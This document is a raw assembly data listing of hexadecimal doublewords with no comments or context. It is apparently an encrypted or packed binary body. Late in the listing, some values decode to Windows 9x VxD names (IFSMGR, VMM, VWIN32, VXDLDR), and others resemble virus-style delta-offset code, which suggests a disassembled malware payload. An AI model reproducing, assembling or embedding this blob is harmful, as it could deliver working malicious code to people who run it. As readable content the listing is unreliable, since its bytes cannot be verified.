dd 727FF10Bh
dd 0E013DDFAh, 98F4985Ch, 688B0826h, 0E78210E4h, 0FD150E0Eh
dd 55C9F3DBh, 39704F4Ch, 2539FE3Bh, 40AE0939h, 0A7BE408Ch
dd 7A2CC232h, 6E12FE37h, 0D4FB8968h, 9512FE37h, 0EA232410h
dd 7D928807h, 5Ah, 0C7872E4Eh, 6D01B707h, 0BBA45A5Ch, 45AC2D45h
dd 438733C3h, 93735987h, 51671C35h, 0C82CC2DFh, 35939C3Ah
dd 935E801Ch, 3593C305h, 3321841Ch, 50ABF31Ah, 207489h
dd 2B530000h, 1C3641A4h, 9C30E8BBh, 3698706h, 636B6D15h
dd 28B6C159h, 130116A2h, 16DE1096h, 0AD159241h, 44D8696Fh
dd 0AC14985Bh, 78F00153h, 0D265915Fh, 21BF0FC7h, 15035AEEh
dd 0A315DC02h, 29FAE48Fh, 5C5AFB3Dh, 0DB570992h, 0A8C133BEh
dd 0A5BC231h, 0F6F36F1Ah, 269A597Eh, 8D638D0Ah, 0CBD44810h
dd 0E4788228h, 5D68FBFBh, 0F0FE9B95h, 617FC6DCh, 73750BCEh
dd 1DBAB62Ah, 0C3B1D1B1h, 3090051Eh, 8A6A0B11h, 8C707503h
dd 0F06D6400h, 4A7F3F04h, 3682A16Ah, 8DA11BDBh, 5DD18714h
dd 0E8388844h, 0A6EF3701h, 0A719985Ch, 0F9E70A8Fh, 51CDB8ACh
dd 615B5348h, 9E22D1C8h, 4F48E456h, 0D48C17A4h, 6E6B06F8h
dd 0FBC1DF83h, 0EFA3FF96h, 4BEF07E9h, 0CCBF5E95h, 0C35A649Ch
dd 7E701ED6h, 8E02F1E6h, 6FF10095h, 1F5F6F81h, 298B1160h
dd 8D6A8A93h, 824A57CBh, 629FFD3Ah, 9F21D0CDh, 0F77C6A23h
dd 170C80FFh, 61FD6F82h, 6E077978h, 13F0886Bh, 1C54621h
dd 6FAD17CDh, 0E5A9AB32h, 326FF5BFh, 1EFF1ABh, 0C1B4A0F5h
dd 269834ADh, 8D6A8A0Fh, 824A57CBh, 0FFF7E078h, 0E8A0F380h
dd 9BB7BEE4h, 7D2DA3FFh, 0E160F209h, 0E7B43ABCh, 0DE4FD71h
dd 9BD85769h, 0FF5BBF05h, 0BB35BBA3h, 5B23A53Bh, 0CE2F93FFh
dd 821F13E6h, 9739724Ah, 38B5D398h, 0D5E7DFBCh, 3BB54158h
dd 0C739B825h, 58C82BAEh, 0F06E190Bh, 0EA14BAE3h, 128C6875h
dd 0AD4F7F1Ch, 46CD29B0h, 0D44D5AD2h, 0C7749497h, 21CF3B5Ah
dd 60BD24CFh, 0B5AD4F74h, 0AB4BCD24h, 0F9A23F31h, 63FCE987h
dd 0B948876h, 58D7E9E5h, 8E32B63Dh, 497F564Ch, 9B22D214h
dd 1CD8510h, 72AB3FC1h, 3BBB9446h, 61BE518Fh, 0AC32ACCDh
dd 415CD345h, 83263EB2h, 738EDE67h, 0C72AC4F0h, 4E7CD34h
dd 54270D7Eh, 4950CDDAh, 989527A7h, 0A2FBC1DFh, 0E9EFBB32h
dd 8C68EC07h, 0AC3529AFh, 425FD345h, 0E0D441AFh, 4C801915h
dd 0A2586280h, 4A4CBB32h, 0B0DDCDAAh, 0B7EA5398h, 23h
dd 0AC294718h, 47EFBA45h, 22917D2Eh, 0D80173D8h, 9759DB16h
dd 0B36AA937h, 484E1502h, 191753h, 47780000h, 0BA45AC29h
dd 0F39737EFh, 0A74A57C9h, 6843D125h, 7C15036Dh, 4992415Ah
dd 0FAD2E504h, 6D04F6D2h, 414C766Ch, 0A6481C36h, 0AADEAA4Eh
dd 3641CEF4h, 0D024CA1Ch, 354EF42h, 3BE30515h, 503D1FA5h
dd 856B3EDFh, 0CB834534h, 3696587Fh, 22A83692h, 161EAFE2h
dd 0AFCE6490h, 25177CEDh, 0D0E37083h, 200ED4F8h, 1E205029h
dd 0DD14859Ch, 0D3E59B5Bh, 1FAF415Ch, 0B418819Dh, 0D900CAD8h
dd 0F2F41EAFh, 0BFB32502h, 4CABC222h, 6FF2E725h, 134587h
dd 0F5D28000h, 0A43D30A8h, 0F3EE81F7h, 993E36AAh, 0F4E57C04h
dd 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h, 0D37526B3h
dd 0E8DFE5FBh, 0CADB12FDh, 42A12B09h, 0EDB81C36h, 40E7CD13h
dd 8FE31C36h, 0EC0CB0C1h, 49A749C9h, 319B4985h, 251C35ECh
dd 19C77383h, 1502FB6Eh, 0CECB625Ch, 56767826h, 82485632h
dd 761300FAh, 140A8470h, 1774787h, 6FE55C92h, 0FFF1E67Eh
dd 82726F01h, 61FF01A5h, 100E8074h, 92794361h, 6B6D1300h
dd 66FA6E85h, 93366D79h, 0BC67F2D4h, 12A9D2h, 5176E400h
dd 99944Ch, 4F4AE59Bh, 5928A4Eh, 5049E098h, 4F3B504Bh
dd 26DAC3D6h, 4D13880Dh, 23D5C6D3h, 2709920Fh, 0E7933967h
dd 568712FDh, 0C39B2E75h, 9681B30Bh, 62D9E1D4h, 0CDB8E692h
dd 33150258h, 0B938A1BDh, 45AC2947h, 0BC32DC3h, 38657CF1h
dd 0BD34ADC0h, 0E8BA719h, 1B9561E3h, 88329A07h, 64E80B94h
dd 5B231190h, 24CFCA61h, 15FF54A0h, 2978E30h, 0FCE578F2h
dd 1915A79Fh, 7EF7180h, 4068AD97h, 4DE09A82h, 8E547854h
dd 13005724h, 0EFD5C25Ch, 757C65F9h, 7AF9FDF3h, 57E3EAh
dd 1F3D213h, 38A5BA44h, 0B22F42BCh, 0DFFA77E9h, 643C8714h
dd 25533A68h, 27C90BD8h, 7C1D15A7h, 6F8D478h, 118B6B68h
dd 2F17841Dh, 29E6E24Fh, 556D4A00h, 0F87EEB5Bh, 1B956116h
dd 606A7807h, 541C2935h, 0C03B7524h, 34BA0361h, 19AC37BAh
dd 323B811Fh, 0A92F1C29h, 0E3598747h, 0E11500FFh, 0FFCDF7ADh
dd 27C91300h, 4F7F21CFh, 7328B1ADh, 984671EDh, 1300FF32h
dd 836E8026h, 0D9F5ADF8h, 0CE0738CBh, 0CA1ABC0Bh, 0E99F2C8Fh
dd 737B630Eh, 0AE000011h, 276278Ch, 0B729726Fh, 0F8801DB8h
dd 0B2267760h, 0B67D1EBBh, 0AD2C45C5h, 0E6F368F0h, 0B02D43B5h
dd 0E0F975EBh, 2BB915BBh, 12FDE6A1h, 15C30895h, 0E5CF15B9h
dd 0E11C3641h, 419F25BFh, 159B1C36h, 41A12BB9h, 13951C36h
dd 416E4DE3h, 18741C36h, 0E50C89A6h, 413B8163h, 0A92F1C36h
dd 38BBDE57h, 50CE40B4h, 3A8D5A43h, 5E1E6A62h, 2D94B955h
dd 0D05E9670h, 150D2162h, 0CFC86056h, 762CA024h, 12FD9E4Ch
dd 8448A648h, 1308E57Ah, 7E96B86h, 0BEB14BEFh, 2AD47A23h
dd 0B04FA734h, 0D005B419h, 112B388h, 2E140000h, 1512C185h
dd 3641E8CFh, 3C97191Ch, 0EB15BE15h, 98B6673h, 0B0A098EDh
dd 0BC6842Eh, 6974EB15h, 81EE068Ah, 0C4862EC2h, 204DB808h
dd 0C6298790h, 0BD05A5A4h, 65914E04h, 196E65BEh, 885005C4h
dd 42C3h, 0B9150400h, 3641A12Bh, 0D23951Ch, 0B965E90h
dd 0D7E9E5A7h, 31B33E5Bh, 0CF151EC5h, 1C3641E8h, 620596E6h
dd 5C88E754h, 0DC4EA98h, 2847BE15h, 5E7026ADh, 0DF208C1Eh
dd 5D99C940h, 16D1B6h, 2E020000h, 150BC684h, 3641E8CFh
dd 3C97191Ch, 2847BE15h, 637026ADh, 5005C419h, 2FC388h
dd 2E040000h, 150DC486h, 3641E8CFh, 17BADC1Ch, 6351AD15h
dd 0CB7E4278h, 15507F2Bh, 41A12BB9h, 13951C36h, 0EDF469E3h
dd 0D16370E6h, 36h, 0D4862E02h, 23AE4059h, 6974EB15h, 7D1A168Ah
dd 0F8FCF276h, 41278E54h, 95271C36h, 88F9FD9Ch, 0BE15E9E8h
dd 1FAF2A47h, 0AA16839Dh, 0B4CB2678h, 1AB93D71h, 0E5D16370h
dd 2FFFFFEh, 0A12BB915h, 951C3641h, 9F25BB13h, 9B1C3641h
dd 4356E115h, 2F61F85Dh, 37B9AA40h, 56720997h, 3E86150Dh
dd 0BB36A3BCh, 4D21AB39h, 931512FDh, 0D34F715Dh, 0A30AD5C6h
dd 5DD1EBE3h, 30BEDB54h, 408A18C4h, 3E12FD4Dh, 0C836A3BCh
dd 23A54C55h, 787B1DD3h, 0FD4DE0E8h, 5044A112h, 88F21677h
dd 0B4AA5492h, 759C2AF9h, 0B23CAECBh, 4851CD3Fh, 38A74EA6h
dd 0E3000000h, 0F06841D9h, 66880CE7h, 0A52BEF8Eh, 0A31C3641h
dd 5C980119h, 4C514EE2h, 36415578h, 615B6E1Ch, 36417943h
dd 856B6D1Ch, 42B49B49h, 6A81503h, 0B96D95h, 2E9E0000h
dd 0D50BC39Bh, 15035446h, 1EA02CB2h, 560A9300h, 9238BBD8h
dd 963E6B2Ah, 0CB2BDD9Eh, 19B56D38h, 0E90D88A7h, 48E09F45h
dd 0E2D40BD8h, 2AA24C49h, 0C1DF9E90h, 1C28B6FBh, 0B319C7EFh
dd 0A71C28B6h, 9C01EF01h, 2C8D6B2h, 0F61C28B7h, 948A04F0h
dd 7A791C17h, 55F9F8F6h, 0CA29B4ABh, 9023AE46h, 14B814B8h
dd 28B6E4CEh, 36BEE01Ch, 78F0A8h, 0EAE20415h, 5A435CD0h
dd 0D90D8AA6h, 0F2D4B0CEh, 837A640Fh, 0BE00000Eh, 0F266379Ch
dd 0C739627Fh, 0E8702DA8h, 0C2366770h, 0A66D2EABh, 9D3C35D5h
dd 0F6E37800h, 0A03D33A5h, 0F0E985FBh, 1BC905ABh, 12FDE3B1h
dd 47D3F8A5h, 9F43AE2Bh, 6094051Dh, 8E6572EEh, 34C7AD1Eh
dd 4F2F9F38h, 0F91D06EEh, 0C1965ED3h, 5038BC11h, 38AB89h
dd 2EDC0000h, 0BF0BC39Bh, 36419B21h, 0ED098F1Ch, 0FE738D41h
dd 688C10E3h, 34CBBDAh, 747F2115h, 2A736C00h, 0D61DBAB6h
dd 26A67E49h, 0CE45A978h, 0C1594F0Bh, 599719D8h, 2A478F44h
dd 0F76AEEAFh, 379AE2EAh, 0AE506A7Ch, 3ECE55A1h, 1C35A17Dh
dd 7B20BDB3h, 0AA3729D3h, 96129747h, 0F3907A49h, 5B6EF9FDh
dd 83734B83h, 947FD2BCh, 8448F400h, 0B2309A48h, 82241C35h
dd 8081DC72h, 7F81150Dh, 4D03F3E6h, 16D8C55Bh, 0AE2B44B6h
dd 15829C1Eh, 0BD9A5ADEh, 5B4190Eh, 0F5B388D0h, 14000000h
dd 5ED1852Eh, 1526AD43h, 3641E8CFh, 3C97191Ch, 746CBE15h
dd 0A4842E64h, 3641B4FEh, 0C02EB01Ch, 15874C11h, 0AF1658ADh
dd 0FE71292h, 735E2C84h, 6974EB15h, 1982318Dh, 885005C4h
dd 37C3h, 842E0400h, 0B9150BC6h, 33F20C09h, 4CA8291Bh
dd 360C0FB6h, 0F0E3051Ch, 0B915B915h, 3641A12Bh, 0D113951Ch
dd 1C3641EBh, 963DB9DFh, 26AD2847h, 1ED16370h, 2000000h
dd 0BC6842Eh, 41E8CF15h, 97191C36h, 47BE153Ch, 6F558B28h
dd 6B1C3641h, 7028AB45h, 5C41963h, 2EC38850h, 4000000h
dd 0DC4862Eh, 41E8CF15h, 0BADC1C36h, 15B91517h, 41A12BB9h
dd 13951C36h, 3641EBD1h, 3DB9DF1Ch, 0AF2A4796h, 0D1637024h
dd 22h, 73EB1502h, 0AD038E66h, 0CF15F4DFh, 1C3641E8h, 153C9719h
dd 0AF2A47BEh, 75EB1524h, 0EF078968h, 2D19DA6h, 2FFFFFFh
dd 0BC39B2Eh, 0E0F9ED5h, 2C721A15h, 12FDF486h, 3A925C82h
dd 0E8F16C8Eh, 993B8709h, 0B905CC3Fh, 1814866Eh, 6A411E7Fh
dd 0F1F8B3AAh, 39EC2C0Eh, 0D84CA749h, 56985643h, 5D626876h
dd 225612FDh, 96F152C2h, 0C509E7CCh, 3FB7223Bh, 2E8830C0h
dd 0DC4912FEh, 109EEFE8h, 23C99288h, 0A000000h, 3641A52Bh
dd 4059D51Ch, 0D549735Bh, 5DA325CCh, 9C20D3C6h, 0E87058h
dd 229C0000h, 0E1638E0Bh, 9B2E6E15h, 0FFBF0BC3h, 603A9AF3h
dd 6B518F56h, 5F1C35B8h, 0B13FB739h, 1502D426h, 0C6ECB2DAh
dd 0C21300ABh, 0ABDEE4FAh, 0D4DA1300h, 0D4F8D41Ah, 4DA4312Ah
dd 975944DBh, 7673ED5Fh, 6574EDFAh, 0DE40A8Eh, 0D81B869Bh
dd 6C329A54h, 1300AB46h, 49529C42h, 0F5FC9997h, 0EF8C7151h
dd 9DEB44C3h, 27CFCA63h, 7D51099Ch, 0D8982467h, 0BE0E900Bh
dd 5B87223Ch, 0CAF0AEE8h, 0BE1C2917h, 441EA818h, 0D816839Fh
dd 5DD38516h, 0B7348C40h, 95D6DE1Fh, 9F2CB343h, 52903C14h
dd 1500BC36h, 1AA428AEh, 7C049906h, 0EEEFF7E0h, 0EFF2D3F1h
dd 0B685A44h, 0B1A30000h, 5CD18714h, 8FA05845h, 5FD78912h
dd 869F613Ah, 0F8918A13h, 1D7E1B12h, 0C8D5C05Bh, 1C811E10h
dd 0CECFC864h, 0C6ECB2DAh, 0C212FDE0h, 2B47B211h, 0EB9F43AEh
dd 36420FB5h, 1DC30B1Ch, 1C364197h, 13E30D93h, 0C2FA8599h
dd 0E7A2F04Fh, 20AA3883h, 141C35B3h, 27955C92h, 0B4C35D5Fh
dd 35B3C4EEh, 0D01EC01Ch, 0CF619F21h, 0E7CD22D2h, 475D1814h
dd 1C35B37Dh, 55797779h, 0CB26B3ABh, 0DAD0AD49h, 89508BB3h
dd 5BB4h, 9B2E1300h, 46D50BC3h, 0B2150347h, 11EA02Ch, 1BDB5D94h
dd 930C2094h, 6B518F3Bh, 9B13013Ch, 2BAD1782h, 0F66AEECBh
dd 2A7D0AE9h, 0CD605A72h, 0A14F48E4h, 8226CE52h, 0CE57715Ch
dd 0E731910Bh, 9A432A4Ah, 388220ACh, 2C1C357Ch, 12944AAAh
dd 61BA589h, 0C928B5ABh, 0A64DA947h, 6772EB15h, 72EC088Ch
dd 9822C0FFh, 8C1C3641h, 25B7E40Ah, 1C3641A6h, 0DB5350CEh
dd 0DC6B30BEh, 27BD11C9h, 150E0F2Dh, 63697753h, 5712FDF4h
dd 0E9EFA551h, 57D9A9E5h, 0A54C8A89h, 40DF51A5h, 19634855h
dd 88D005B4h, 12EB3h, 852E1400h, 0CF1512C1h, 1C3641E8h
dd 153C9719h, 41A12BB9h, 0F1951C36h, 364209B3h, 15DBFD1Ch
dd 15963DE1h, 8E6570EBh, 0A395EA0Ah, 0A4842EB3h, 3641B4FEh
dd 9E24BA1Ch, 9A1C3641h, 0C628AE14h, 2E874C0Bh, 0B6FCA286h
dd 0EE1C3641h, 3E606277h, 6E6521B0h, 5005C419h, 38C388h
dd 0FDFF0000h, 9908960h, 2E700FE7h, 150BC684h, 3641E8CFh
dd 848CDC1Ch, 0DF34C3CCh, 159043ADh, 2BB915BEh, 1C3641A1h
dd 76ED1395h, 6199363h, 6370389Bh, 2DD1h, 842E0200h, 7DF406C6h
dd 411EA43Ah, 941A1C36h, 15F39A5Ah, 3641E8CFh, 3C97191Ch
dd 2847BE15h, 0B91526ADh, 3641A12Bh, 0E313951Ch, 0C419B192h
dd 0C3885005h, 3Eh, 0C4862E04h, 5D7AF608h, 0A4AE1296h
dd 0D86E742h, 156C13E3h, 3641E8CFh, 12BADC1Ch, 8F6770E8h
dd 47BE15F0h, 6B1FAF2Ah, 36418F35h, 9B658B1Ch, 54D81B86h
dd 637001A0h, 20D1h, 862E0200h, 0CF150DC4h, 1C3641E8h
dd 153C9719h, 0AF2A47BEh, 2A5E7024h, 36414E74h, 50A44A1Ch
dd 0FEC9D1B1h, 2E02FFFFh, 0D50BC39Bh, 150E0F9Eh, 8838941Ah
dd 0DC516EECh, 16AA2EC5h, 7EF439Ah, 0DCC55963h, 1DC307BFh
dd 12FDF697h, 5EE90D93h, 0C5379757h, 40C42FAAh, 0F0DA08B4h
dd 0EE12FDF6h, 0F6BE049Ah, 34BA12FDh, 0A74A57CAh, 7D23D125h
dd 0F6DAE676h, 3EA712FDh, 49187556h, 1D4F9288h, 80000000h
dd 0A12BB915h, 0D11C3641h, 5E80425Fh, 41C60896h, 7AF61C36h
dd 0AA42405Dh, 83000000h, 0BC39B2Eh, 35536D5h, 1912AC15h
dd 3F3757Ch, 47834B4Dh, 0D81CBDB5h, 0D2CBC866h, 0C8F2B0DCh
dd 0BC13012Ah, 0CE60DA1Ah, 29522D1h, 95C824Ah, 9F0BD8F8h
dd 352BD5F9h, 0F36DF3A8h, 35800BE6h, 5733715Dh, 8F1500AAh
dd 2613B9E7h, 0E1071301h, 0F10BBF0Fh, 0E2FF737Eh, 617EF20Ch
dd 74E60E92h, 3ABEDFF8h, 2A5D8B26h, 0AEBD3DA8h, 0B997A440h
dd 9B46F2D4h, 815B3h, 0C5E25000h, 940D20D8h, 0C3DE5107h
dd 890E26DAh, 0C4D54C14h, 0DBAFDCD7h, 92465742h, 0D99FFC99h
dd 0BF415A47h, 0C36536A3h, 0DDEFD50Bh, 0BAEB12FDh, 0BE2B4719h
dd 1CC231A6h, 36413C86h, 38B6381Ch, 55C93BB6h, 0E637A54Ch
dd 5C170BFEh, 988CDF59h, 0CAD31D65h, 5063A5E8h, 3DC289h
dd 15110000h, 0D0A879ADh, 1ADA9C61h, 68643C87h, 32A573Ah
dd 362BBD15h, 2D715B89h, 43651301h, 20B043ADh, 13012D9Eh
dd 3D1E065Fh, 92850E10h, 6E57h, 0AB4B3300h, 55E5DAD3h
dd 15E38A6Ah, 0CA6A7FADh, 0A53BA2D4h, 1C35861Fh, 9B5B951Bh
dd 0E9E5BD08h, 0BD395CD7h, 0A90CD311h, 0DE001502h, 0D44D6F13h
dd 4AAA2EC5h, 0DF535CD0h, 0E96F2CC2h, 0FA856C75h, 0C9D7F7AFh
dd 0BCDB84Ah, 0AC2946B8h, 7D33C345h, 8917735Bh, 1C35B743h
dd 30A9C137h, 6D6136BEh, 0B7398321h, 0AB2D1C35h, 31C0D955h
dd 49A847AFh, 0FED6E100h, 552110CEh, 91171503h, 0F1AAB78Dh
dd 3A8DD30Ah, 59346A62h, 0BF4BBFEFh, 44AA3729h, 0CF9722ADh
dd 3AAE4550h, 0B93BB623h, 0CF15B937h, 548D2761h, 4F7B5355h
dd 0CB26B3ADh, 14DAC759h, 0F5F26EE0h, 1FA53B7Ch, 1B52F2D6h
dd 8955B95h, 9BA55E1Eh, 2F0A104h, 0FBE478F2h, 0E212C6EBh
dd 0A28C17B2h, 6AEh, 2D6E4BE9h, 722BB6ABh
dd 376471EEh, 6B30A9C1h, 405D7CF5h, 0ED840673h, 3229AFECh
dd 0EC82F6A7h, 362AAEEFh, 903CF4A9h, 0FDDB6852h, 8C2F5C12h
dd 43AE2B47h, 93061D9Fh, 6B76E963h, 4A029532h, 32984682h
dd 261C3641h, 2C964C80h, 281C3641h, 14CA6E86h, 150E0F61h
dd 2EA25157h, 0DF40A431h, 0BEF2D730h, 6444B33h, 0DD7F0000h
dd 40DDA3F8h, 0A3BC4459h, 7BF36536h, 0A2BB3D5Eh, 0DCAD6637h
dd 0F9A2372Eh, 0B4E9EC87h, 0F8A5322Ch, 0AAF3EC80h, 0B218C606h
dd 0A612FDDBh, 0EB15D6F5h, 5876A77h, 7B5366F1h, 0EEE8D53h
dd 0C4EA150Eh, 0FB77892Dh, 659113DEh, 0E47974EBh, 7C72F6FDh
dd 0D730ED68h, 4931B0F2h, 5E6h, 5963321h, 0DAC3DE53h, 0F8C0926h
dd 0D3C8D149h, 1885140Dh, 859C6E1Bh, 5AD18714h, 849A5E3Fh
dd 5ED28617h, 18745C41h, 0FDDA408Ah, 24A73412h, 0BC39B2Eh
dd 0D9EB7AB3h, 5D71981Ch, 358B7D47h, 7F77791Ch, 59CAC5DBh
dd 0A82E150Dh, 3D58D749h, 0D7DF22A9h, 0EF87BF2h, 58Ah
dd 693297C5h, 3E5F7AF7h, 6338A5BAh, 8714859Dh, 5C4158D1h
dd 0C9602A5Fh, 1E15CBD0h, 0C05E227Bh, 1A16CAD3h, 6428207Dh
dd 0FDDA743Eh, 60637012h, 43AE2B47h, 0FB5EB9Fh, 0B1C3642h
dd 985B7EF5h, 0A01ADA14h, 0FBB138Ch, 3641EBD1h, 618BDF1Ch
dd 0D48CA472h, 0A01FD719h, 0DF8EC39h, 4D138811h, 0C804C8D1h
dd 3586B01Ah, 0C2E0A41Ch, 1C3586F8h, 0F004EAECh, 0E301CD71h
dd 1C3586D9h, 5BCD9DCDh, 9DD9381Ch, 0AA0DA353h, 0DA1C35B7h
dd 0EC9E5542h, 945B452Ch, 6F03FD52h, 15EC7F72h, 8E6F4C2Fh
dd 425FD3A6h, 0D44B7559h, 0F9A2DC9h, 25CBCE67h, 0B6D2D9A9h
dd 656C100Dh, 0D0B7ED91h, 4E150D28h, 0CD24B5ACh, 0F3F5AB4Bh
dd 0CBF1AFDBh, 0BF12FD97h, 8F31DD19h, 0F6C60693h, 0C1A30078h
dd 0F5D222A5h, 0FFF2EF83h, 0D3CE615Bh, 0CD589C20h, 0F4AA22FAh
dd 0BD5553Eh, 0A618B43Ah, 0C8900D8Ah, 1BA84B54h, 0E6FCD088h
dd 15025213h, 0FBC1DFABh, 2B130045h, 951BA934h, 0B92DB361h
dd 0F2D4DF68h, 6704EE75h, 0A2000004h, 0D68A13B0h, 9B5D3E5Bh
dd 0FC841984h, 0B62A7364h, 0BA811ABFh, 0C9D049C1h, 82170CD4h
dd 0CCC96719h, 8C1509CFh, 2F75190Fh, 12FDD985h, 476F5481h
dd 0A303802Bh, 0BE6F368h, 8A993989h, 0DDE9CAF6h, 7BF8618h
dd 9A960AE9h, 332FD1FDh, 2DC94BA6h, 6C246F50h, 951B4260h
dd 0AFDB1502h, 58CBF1h, 0DD19BF13h, 0E2728127h, 130058DCh
dd 9B96130Ch, 8F01F0FEh, 5AF20194h, 6F20DBC9h, 4D0EF6h
dd 679285E7h, 4Ah, 18AD1528h, 9B486FF6h, 0E7B245B1h, 0B8DF9F2Fh
dd 4ADFF3E0h, 0B6EC9064h, 15031F67h, 8E0B2597h, 0BB36B866h
dd 0DE8B2Dh, 35A0BB13h, 0C6D34ABEh, 27537B2Bh, 78C60792h
dd 11D4C065h, 1E3F2580h, 928501EFh, 0E678h, 2B475700h
dd 58D143AEh, 0B40CB241h, 0F6E5CEB2h, 15876FFAh, 0CD718019h
dd 6ED9E301h, 0CBCD1C35h, 24BDB12Bh, 7C1916A8h, 2603F375h
dd 35726D96h, 128FA31Ch, 3E5BD789h, 0C59D28B3h, 5C79F709h
dd 37E31395h, 23A93793h, 211C356Ah, 356A3983h, 19AB2D1Ch
dd 96D15F97h, 8A150297h, 0D9566864h, 43B335BCh, 16CED966h
dd 0FB1728B6h, 7B1D0BCBh, 39B0A953h, 4354CC25h, 2CC246ADh
dd 7970E96Fh, 0F3F3FDE4h, 0E9A132ACh, 7C8B231h, 42000003h
dd 76EAB310h, 3BBDDEFBh, 1CE4B924h, 560A9304h, 0DAE1BADFh
dd 6970E9A1h, 22B7AC34h, 6C690779h, 2CB5A92Fh, 0CF15B96Fh
dd 12FDD7E5h, 470FB4E1h, 9923AB2Eh, 0FDDA1A87h, 0CAD8E77Bh
dd 1C364200h, 6E6B02F4h, 1EF0183h, 7D3A33CDh, 36415D67h
dd 9957591Ch, 2ECB805Dh, 3D58D39Bh, 9A851BB3h, 5E150371h
dd 11428816h, 0B0361301h, 0A325B33Eh, 64130111h, 133A1301h
dd 5492852Ah, 0D6h, 75EB1533h, 0EF078968h, 0F9F8E17Dh
dd 8EBEE87h, 36459378h, 0C72B931Ch, 0CDA8FE92h, 0D74BC531h
dd 0E3DDD1CAh, 22A64D48h, 0EBC458D2h, 6E856B76h, 9B3836C8h
dd 25FDC85Bh, 597CFBA9h, 8E201503h, 6EF20196h, 794C1B80h
dd 2D612DA1h, 1084D77h, 4FA74913h, 0CCBA3FC1h, 233DB30Bh
dd 37B93BB6h, 8D0C2597h, 49688141h, 38A70DD3h, 0FDA31C34h
dd 2EC0C9C5h, 724EA035h, 3700FBD1h, 7B50A4ECh, 796D6C05h
dd 0E9A14714h, 0F7402AC9h, 32000001h, 86FAA300h, 2BADEEEBh
dd 6CF4A934h, 46BAE3F4h, 2AF1AA2Fh, 39A0B951h, 12879C64h
dd 3C59D789h, 1C85995Fh, 0DF05C97Fh, 12FDD6D5h, 47FFC4D1h
dd 5B23AB2Eh, 0D4BEE667h, 0DCB1451Eh, 4851C8F2h, 0A13E32ACh
dd 2B4757FCh, 5DD143AEh, 41367C22h, 0AC321C36h, 3B8E5942h
dd 0C0136B63h, 5EB6131Fh, 5E7BF50Bh, 39E51193h, 360E8ABh
dd 4DE4D615h, 0DD23A54Ch, 189C5742h, 718026DCh, 11EDDE3h
dd 5D479E13h, 8521517Ch, 4B1692h, 15750000h, 0E77A77EBh
dd 7500F4FAh, 3C626A22h, 150342F9h, 7A0AE9EFh, 13014054h
dd 6EDEA84h, 2120F654h, 3AC4065Bh, 0A83BB623h, 0FF906B59h
dd 709DBEA6h, 0F7928591h, 4Fh, 0E6FFEBD3h, 0CEF45946h
dd 0B76B5CF2h, 5D999630h, 0EFAD15B6h, 98A61AE5h, 9235CB2Bh
dd 0A91C3587h, 347E241Eh, 6C1C3587h, 0D4DAE8F1h, 0C9ECB21Ah
dd 0C91502B7h, 559C3937h, 6B6D23D3h, 0B4DE1B63h, 0B4525105h
dd 44C4EEh, 0D01EC013h, 2E644724h, 0D50BC39Bh, 15035DEAh
dd 9B29C8CEh, 13012535h, 26CDCC65h, 0D61DBAB2h, 6C0FF566h
dd 0F5D2C223h, 7631538Dh, 117BCC4h, 0BB368AEDh, 7EF20C5Bh
dd 0E60E9261h, 85F50746h, 306092h, 2B2F0000h, 1C3641A5h
dd 9D31E9BCh, 371C007h, 6004B415h, 22859744h, 0C4F4BEE4h
dd 0EEF01300h, 380C000h, 0BCDD3FAFh, 3BC56932h, 0B63AB924h
dd 9B2E9F3Eh, 5AD50BC3h, 0BE150E0Ch, 0CB67D918h, 14CAFECEh
dd 12FDF3AEh, 764C49E6h, 31A78470h, 0BF4DA43Dh, 20276DF3h
dd 10FBE93Ch, 661A831Ch, 5445DDCAh, 554A329Ah, 1876AC35h
dd 756C01FFh, 73FAFA7Eh, 87B2EFCFh, 97E036D9h, 6475ED5Fh
dd 462E9F8Dh, 7922BFB3h, 836E6B07h, 119Bh, 5AD5E700h, 0CB228411h
dd 17D99A58h, 0F59C58DCh, 1547844Fh, 53CF41B0h, 2739AB46h
dd 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh, 0AFC034BFh
dd 0D04DBF32h, 575D2AC9h, 0C781E789h, 4, 8704EF83h, 895C243Ch
dd 81682434h, 8900003Ch, 6E682434h, 8900005Eh, 6850243Ch
dd 6B7C6F1Ah, 8124048Bh, 4C4h, 0E02A0500h, 0C6899DBBh
dd 3C8B5458h, 4C48324h, 4815652h, 0BA71A624h, 0EA815A3Ch
dd 3CBA71A6h, 5A085789h, 5F2434FFh, 4C481h, 348B0000h
dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 112EE95Ch
dd 281FFFDh, 31B81F99h, 309386Dh, 5E0FFC5h, 9D18121Fh
dd 0B11753B5h, 295B2341h, 393C8C85h, 4F21A02Dh, 6741CF0Bh
dd 0F3569DA1h, 5D02CCFDh, 0A727986Fh, 7900CF97h, 642A6B7h
dd 4732F602h, 7F4064CCh, 0B02322D1h, 4F7985E6h, 74673206h
dd 9E165EB2h, 17AB68Bh, 0A82D5652h, 8C032434h, 7820FBBDh
dd 0EB1B6325h, 53464934h, 2052474Dh, 444B5620h, 20202020h
dd 4D4D5620h, 20202020h, 49575620h, 2032334Eh, 44585620h
dd 2052444Ch, 20h, 2 dup(0)
dd 807E900h, 14E90000h, 64000000h, 1D911551h, 8290E14h
dd 1AD93C26h, 0A9A81467h, 60A16E23h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0DBC35343h, 128A0F97h, 0E9000000h
dd 0Dh, 0DE6FBFDDh, 7AE4E801h, 0D2F850EFh, 3785C719h, 9386Eh
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 6026C353h, 61C8B70Fh, 6AC68Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 60835FC3h, 10E9h, 0D6D08400h, 7129B928h, 190BF134h
dd 949E91C4h, 31C9BB03h, 606161A8h, 59C38166h, 4AB86652h
dd 0B70F61E9h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 5B2D98AEh, 0B14B5A74h
dd 0D8D0F60h, 0E8000000h, 7, 5F741E0Fh, 5FE3F012h, 606104B1h
dd 35F4B966h, 0D2B70F53h, 0E8C1615Ah, 8E910h, 0C6220000h
dd 0CB4C3A30h, 0C1661320h, 8E0F08C8h, 1, 3B8589FCh, 0F09386Eh
dd 885h, 2810F00h, 60000000h, 0CBC16661h, 0C38A6008h, 11E9h
dd 32C42400h, 9D40C94Bh, 9998BA1Eh, 4C1E57B5h, 8361E56Fh
